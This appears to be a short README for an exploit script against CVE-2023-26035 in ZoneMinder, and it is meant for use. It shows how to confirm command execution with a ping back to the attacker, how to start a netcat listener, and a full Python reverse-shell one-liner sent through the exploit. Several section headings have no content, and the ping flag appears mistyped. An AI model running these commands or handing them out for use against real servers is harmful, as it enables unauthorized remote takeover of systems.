This is an exploit for CVE-2023-26035.

Affected versions

Usage

Check if the target is vulnerable:

Examples

Test command execution with ping

Run tcpdump on the interface connected to the target (here tun0) and filter for ICMP packets:

Then execute a ping to your IP. Make sure to use quotes " as otherwise the command won't be interpreted correctly.

python3 zoneminder.py http://target "ping -C 4 your_ip"

Reverse shell

Create the listener with netcat:

nc -lvnp 1337

Use a reverse shell oneliner:

python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
